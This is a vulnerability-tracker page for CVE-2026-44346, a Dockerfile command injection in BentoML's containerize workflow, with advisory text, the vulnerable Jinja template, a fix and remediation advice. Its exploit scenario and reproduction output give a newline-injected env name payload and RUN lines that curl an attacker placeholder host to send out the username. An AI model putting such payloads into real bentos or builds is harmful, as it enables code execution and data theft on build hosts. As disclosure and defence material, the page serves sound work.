Skip to main content

BentoML EUVDEUVD-2026-32609

| CVE-2026-44346 HIGH
OS Command Injection (CWE-78)
2026-05-11 https://github.com/bentoml/BentoML GHSA-w2pm-x38x-jp44
8.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts malicious bento with newline-injected bentofile.yaml
  2. Delivery
    Victim imports bento via bentoml import
  3. Exploit
    Victim runs bentoml containerize
  4. Install
    BentoML renders Dockerfile with unescaped template interpolation
  5. C2
    Injected RUN directives embedded in generated Dockerfile
  6. Execute
    Docker build executes arbitrary commands on build host
  7. Impact
    Code execution as build user with Docker daemon access

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to import a bento archive from an attacker-controlled or compromised source and execute bentoml containerize on that imported bento. The specific vulnerable code paths are the v2 SDK Docker generation flow using base_v2.j2 template, present in BentoML 1.x versions with _bentoml_impl/docker.py module. Attack does not require the malicious bento to be deployed or served - only imported and containerized - making this exploitable in CI/CD pipelines and local development environments before production deployment. The victim must have Docker daemon access for docker build execution. No special BentoML configuration is required; default settings with standard bento import/containerize workflow are sufficient. The description explicitly states this affects the modern v2 SDK code path used by bentoml containerize for current services, distinguishing it from legacy deployment methods. Limiting factor: requires user interaction (importing untrusted bento and triggering containerization), preventing fully automated remote exploitation. Organizations exclusively building bentos from reviewed internal source code and never importing external bentos are not exposed.

Impact

CVSS 8.8 (High) with vector AV:N/AC:L/PR:N/UI:R reflects network-deliverable attack requiring user interaction (victim must import and containerize the malicious bento). The UI:R (required user interaction) and supply-chain nature of the threat model moderates immediate urgency compared to service-side RCE. EPSS and KEV data not provided, but absence from CISA KEV and gated POC repository suggests exploitation is not yet widespread. However, several factors elevate real-world risk: (1) this is the third sibling in a vulnerability family where previous patches (CVE-2026-33744, CVE-2026-35043) incompletely addressed the root cause, indicating systemic input validation gaps; (2) the attack chain requires only bento import/containerization operations common in ML model deployment workflows; (3) execution occurs in build environments which often have privileged Docker daemon access and secrets in environment variables; (4) BentoML's role in ML model registries and marketplaces creates natural distribution vectors for malicious bentos. The GitHub advisory cross-references (GHSA-78f9-r8mh-4xm2 addressing docker.base_image, GHSA-w2pm-x38x-jp44 addressing envs[*].name) confirm vendor acknowledgment and patch availability. Priority for organizations using BentoML in CI/CD pipelines or consuming third-party bentos from untrusted sources. Lower priority if bentos are exclusively built in-house from reviewed source.

Exploit ScenarioDerived

An attacker publishes a malicious ML model bento to a public BentoML registry or shares it via corporate artifact repository, with bentofile.yaml containing envs[0].name set to 'FOO\nRUN curl http://attacker.example.com/$(whoami)\nARG BAR' with embedded newlines. A data scientist imports the bento via bentoml import malicious.bento and runs bentoml containerize my-service to build a deployment container. During Dockerfile generation, the Jinja2 template renders the injected value raw, producing three Dockerfile directives where one was intended. The docker build process executes the injected RUN curl command on the build host, exfiltrating the username to the attacker's server. The complexity is low (AC:L) as the attack requires only standard bento operations and the UI:R barrier is routine in ML deployment workflows. Proof-of-concept code confirmed end-to-end execution on BentoML 1.4.38 per reporter's HuggingFace repository (gated access).

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Command injection in BentoML 1.4.38 and earlier allows attackers to execute arbitrary code on build hosts when victims containerize malicious bentos. Exploitation occurs during the bentoml containerize workflow when unvalidated envs[*].name and docker.base_image fields from imported bentofile.yaml are interpolated into generated Dockerfiles without escaping, enabling newline-injection of RUN directives executed by docker build. This is a sibling vulnerability to CVE-2026-33744 and CVE-2026-35043 which patched the same injection class in system_packages fields but left these additional attack surfaces unaddressed. Patch version 1.4.39 available from vendor. No CISA KEV listing or public POC outside gated HuggingFace repository at time of analysis, but end-to-end reproduction confirmed by reporter on BentoML 1.4.38.

RemediationAI

Upgrade BentoML to version 1.4.39 or later via pip install --upgrade bentoml>=1.4.39 which patches both the envs[*].name and docker.base_image injection vectors. The fix applies bash_quote filtering to env.name fields and validates docker.base_image against a regex rejecting newline characters. If immediate upgrade is not feasible, implement compensating controls: (1) restrict bento imports to internal registries with code review and signature verification for all bentofile.yaml content; (2) execute bentoml containerize in isolated build containers with no network egress and read-only access to secrets, limiting blast radius of injected commands; (3) add pre-import validation scanning bentofile.yaml for newline characters in envs[*].name and docker.base_image fields, rejecting any multi-line values (trade-off: breaks legitimate multi-line base_image references if they exist, though Docker image references are single-line by specification); (4) monitor Docker build logs for unexpected RUN directives or external network connections during containerize operations. Advisory URLs: https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2 and https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44. Note the patch addresses the template layer; enhanced defense-in-depth would add schema-level validation in BentoEnvSchema rejecting non-identifier characters in env.name.

Affected VersionsENISA

BentoML < 1.4.39

Affected Packages

pypi bentoml fix: 1.4.39

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

BentoML is a Python framework for serving machine learning models in production. The vulnerability lies in BentoML's Dockerfile generation engine (v2 SDK path) which uses Jinja2 templates to render Dockerfiles from bentofile.yaml configuration. The template file base_v2.j2 interpolates user-controlled values from imported bento archives directly into Dockerfile directives without sanitization. While the bash_quote filter protects env.value fields, the env.name field and docker.base_image field bypass this protection entirely. This creates a template injection scenario where newline characters in attacker-controlled YAML values break out of the intended ARG/ENV/FROM directives and inject arbitrary Dockerfile RUN commands. The CPE pkg:pip/bentoml indicates this affects the Python package distribution. The CWE-78 classification (OS Command Injection) reflects the root cause: untrusted input flowing into a command interpretation context (Dockerfile executed by Docker daemon) without neutralization of special elements (newlines functioning as Dockerfile directive separators).

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionGitHub Advisory

BentoML envs[*].name Dockerfile command injection - sibling of CVE-2026-33744 / CVE-2026-35043

A malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. Verified end-to-end on bentoml==1.4.38.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73:

jinja
{% for env in __bento_envs__ %}
{% set stage = env.stage | default("all") -%}
{% if stage != "runtime" -%}
ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name }}=${{ env.name }}
{% endif -%}
{% endfor %}

env.value is bash-quoted via the bash_quote filter, but env.name is interpolated raw with no escaping or newline filtering. The template is rendered by _bentoml_impl/docker.generate_dockerfile (the v2 SDK Docker generation path used by bentoml containerize for modern services).

Sibling relationship to existing CVEs

The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:

  • CVE-2026-33744 / GHSA-jfjg-vc52-wqvf (2026-03-25): added bash_quote to system_packages interpolation in Dockerfile templates and images.py.
  • CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw (2026-04-02): added shlex.quote to system_packages in the cloud deployment path (_internal/cloud/deployment.py:1648).

Both patches limit themselves to system_packages. The envs[*].name field is the same root-cause class (bentofile.yaml value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.

Reproduction

bash
pip install bentoml==1.4.38
python verify_render.py

Expected:

[*] rendered Dockerfile size: 1789 bytes
[*] injected RUN lines: 3
    RUN curl -fsSL http://attacker.example.com/$(whoami)=1
    RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO
    RUN curl -fsSL http://attacker.example.com/$(whoami)

Each injected RUN line is a Dockerfile command that runs during docker build. With $(whoami) shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.

Threat model

  1. Attacker authors a malicious bento with a crafted bentofile.yaml.
  2. Attacker exports the bento (.bento or .tar.gz) and distributes (S3, HTTP, BentoCloud share, etc.).
  3. Victim imports with bentoml import bento.tar; no validation of envs content.
  4. Victim runs bentoml containerize to build the container image.
  5. BentoML renders the Dockerfile with the attacker's envs values, producing injected RUN lines.
  6. docker build (or BuildKit) executes the injected RUN commands on the build host, achieving RCE in the victim's build environment.

The flow mirrors CVE-2026-33744 exactly, with envs substituted for system_packages.

Suggested fix

In base_v2.j2 lines 71-73, apply the bash_quote filter to env.name (and to the =$VAR reference in the ENV line, since the variable name itself is reused there):

jinja
ARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }}

Better, since env.name is semantically a Dockerfile identifier, validate at the schema level: in bentoml/_internal/bento/build_config.py:BentoEnvSchema, add an attr.validators.matches_re(r"^[A-Za-z_][A-Za-z0-9_]*$") to the name field so newline / shell-metacharacter values are rejected at config load.

Affected versions

  • bentoml 1.4.38 (verified end-to-end)
  • Likely all 1.x versions where _bentoml_impl/docker.py exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.

Disclosure

Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.

PoC artifacts

Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc

Executive ViewAI

Why It Matters

BentoML versions 1.4.38 and earlier contain a command injection vulnerability in the containerization workflow that allows attackers to execute arbitrary code on build hosts when developers process malicious model configuration files. Organizations using BentoML to containerize machine learning models face immediate risk of compromised build infrastructure and supply chain contamination if they process untrusted bentofiles.

Business Impact: High
Compensating Controls

Until upgrade to version 1.4.39: (1) Restrict bentoml containerize operations to isolated, ephemeral build environments with no access to production systems or credentials; (2) implement network segmentation preventing build hosts from accessing sensitive internal resources; (3) require manual inspection and validation of all bentofile.yaml files before processing, specifically reviewing envs[*].name and docker.base_image fields for suspicious characters or newline sequences; (4) disable docker.io access from build infrastructure and use only pre-approved base images with hardcoded digests rather than image names.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy